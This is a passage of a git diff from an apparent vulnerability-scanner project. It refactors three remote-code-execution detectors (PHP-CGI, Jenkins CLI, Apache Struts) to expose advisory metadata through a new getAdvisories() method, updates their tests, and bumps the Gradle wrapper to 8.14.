.setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -248,16 +263,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve20121823/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20121823/gradlew b/google/detectors/rce/cve20121823/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve20121823/gradlew +++ b/google/detectors/rce/cve20121823/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20121823/gradlew.bat b/google/detectors/rce/cve20121823/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve20121823/gradlew.bat +++ b/google/detectors/rce/cve20121823/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve20121823/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823Detector.java b/google/detectors/rce/cve20121823/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823Detector.java index 4caa73907..21a8635ca 100644 --- a/google/detectors/rce/cve20121823/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823Detector.java +++ b/google/detectors/rce/cve20121823/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823Detector.java @@ -71,6 +71,26 @@ public final class Cve20121823Detector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2012_1823")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2012-1823") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2012-1823")) + .setDescription( + "sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when" + + " configured as a CGI script (aka php-cgi), does not properly handle" + + " query strings that lack an = (equals sign) character, which allows" + + " remote attackers to execute arbitrary code by placing command-line" + + " options in the query string, related to lack of skipping a certain" + + " php_getopt for the 'd' case.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -110,19 +130,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2012_1823")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2012-1823") - .setDescription( - "sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when" - + " configured as a CGI script (aka php-cgi), does not properly handle" - + " query strings that lack an = (equals sign) character, which allows" - + " remote attackers to execute arbitrary code by placing command-line" - + " options in the query string, related to lack of skipping a certain" - + " php_getopt for the 'd' case.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20121823/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823DetectorTest.java b/google/detectors/rce/cve20121823/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823DetectorTest.java index 368fb7f23..c8e68b542 100644 --- a/google/detectors/rce/cve20121823/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823DetectorTest.java +++ b/google/detectors/rce/cve20121823/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20121823/Cve20121823DetectorTest.java @@ -29,11 +29,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -95,21 +92,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2012_1823")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2012-1823") - .setDescription( - "sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when" - + " configured as a CGI script (aka php-cgi), does not properly" - + " handle query strings that lack an = (equals sign) character," - + " which allows remote attackers to execute arbitrary code by" - + " placing command-line options in the query string, related to" - + " lack of skipping a certain php_getopt for the 'd' case.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve20171000353/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20171000353/gradlew b/google/detectors/rce/cve20171000353/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve20171000353/gradlew +++ b/google/detectors/rce/cve20171000353/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20171000353/gradlew.bat b/google/detectors/rce/cve20171000353/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve20171000353/gradlew.bat +++ b/google/detectors/rce/cve20171000353/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve20171000353/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetector.java b/google/detectors/rce/cve20171000353/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetector.java index c9bdbe20d..7944ec1cd 100644 --- a/google/detectors/rce/cve20171000353/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetector.java +++ b/google/detectors/rce/cve20171000353/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetector.java @@ -100,6 +100,31 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2017_1000353")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2017-1000353")) + .setTitle("Jenkins CLI Deserialization RCE") + .setDescription( + "Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are" + + " vulnerable to an unauthenticated remote code execution. An" + + " unauthenticated remote code execution vulnerability allowed attackers" + + " to transfer a serialized Java `SignedObject` object to the Jenkins" + + " CLI, that would be deserialized using a new `ObjectInputStream`," + + " bypassing the existing blacklist-based protection mechanism. We're" + + " fixing this issue by adding `SignedObject` to the blacklist. We're" + + " also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS" + + " 2.46.2, and deprecating the remoting-based (i.e. Java serialization)" + + " CLI protocol, disabling it by default.") + .setRecommendation("Upgrade Jenkins to the latest version.") + .build()); + } + /** * Check if the web service is vulnerable. This implements the logic in * https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/. @@ -228,26 +253,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2017_1000353")) - .setSeverity(Severity.CRITICAL) - .setTitle("Jenkins CLI Deserialization RCE") - .setDescription( - "Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are" - + " vulnerable to an unauthenticated remote code execution. An" - + " unauthenticated remote code execution vulnerability allowed attackers" - + " to transfer a serialized Java `SignedObject` object to the Jenkins" - + " CLI, that would be deserialized using a new `ObjectInputStream`," - + " bypassing the existing blacklist-based protection mechanism. We're" - + " fixing this issue by adding `SignedObject` to the blacklist. We're" - + " also backporting the new HTTP CLI protocol from Jenkins 2.54 to LTS" - + " 2.46.2, and deprecating the remoting-based (i.e. Java serialization)" - + " CLI protocol, disabling it by default.") - .setRecommendation("Upgrade Jenkins to the latest version.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20171000353/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetectorTest.java b/google/detectors/rce/cve20171000353/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetectorTest.java index a90f01e66..6eaccfb29 100644 --- a/google/detectors/rce/cve20171000353/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetectorTest.java +++ b/google/detectors/rce/cve20171000353/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20171000353/JenkinsCliDeserializeRceDetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -100,27 +97,7 @@ public void detect_withVulnerableService_returnsVulnerability() throws Exception .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2017_1000353")) - .setSeverity(Severity.CRITICAL) - .setTitle("Jenkins CLI Deserialization RCE") - .setDescription( - "Jenkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier" - + " are vulnerable to an unauthenticated remote code execution. An" - + " unauthenticated remote code execution vulnerability allowed" - + " attackers to transfer a serialized Java `SignedObject` object" - + " to the Jenkins CLI, that would be deserialized using a new" - + " `ObjectInputStream`, bypassing the existing blacklist-based" - + " protection mechanism. We're fixing this issue by adding" - + " `SignedObject` to the blacklist. We're also backporting the" - + " new HTTP CLI protocol from Jenkins 2.54 to LTS 2.46.2, and" - + " deprecating the remoting-based (i.e. Java serialization) CLI" - + " protocol, disabling it by default.") - .setRecommendation("Upgrade Jenkins to the latest version.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve20175638/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20175638/gradlew b/google/detectors/rce/cve20175638/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve20175638/gradlew +++ b/google/detectors/rce/cve20175638/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20175638/gradlew.bat b/google/detectors/rce/cve20175638/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve20175638/gradlew.bat +++ b/google/detectors/rce/cve20175638/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve20175638/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetector.java b/google/detectors/rce/cve20175638/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetector.java index c4827c407..58a23c01e 100644 --- a/google/detectors/rce/cve20175638/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetector.java +++ b/google/detectors/rce/cve20175638/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetector.java @@ -79,6 +79,24 @@ public final class ApacheStrutsContentTypeRceDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2017_5638")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2017-5638")) + .setTitle("Apache Struts Command Injection via Content-Type header (CVE-2017-5638)") + .setDescription( + "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x" + + " before 2.5.10.1 has incorrect exception handling and error-message" + + " generation during file-upload attempts, which allows for remote RCE.") + .setRecommendation("Upgrade to Struts 2.3.32 or Struts 2.5.10.1.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -131,17 +149,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2017_5638")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Struts Command Injection via Content-Type header (CVE-2017-5638)") - .setDescription( - "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x" - + " before 2.5.10.1 has incorrect exception handling and error-message" - + " generation during file-upload attempts, which allows for remote RCE.") - .setRecommendation("Upgrade to Struts 2.3.32 or Struts 2.5.10.1.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20175638/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetectorTest.java b/google/detectors/rce/cve20175638/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetectorTest.java index ce962ba9c..d5460f22a 100644 --- a/google/detectors/rce/cve20175638/src/test/java/com/google/tsunami/plugins/detectors/rce/cve20175638/ApacheStrutsContentTypeRceDetectorTest.java +++ 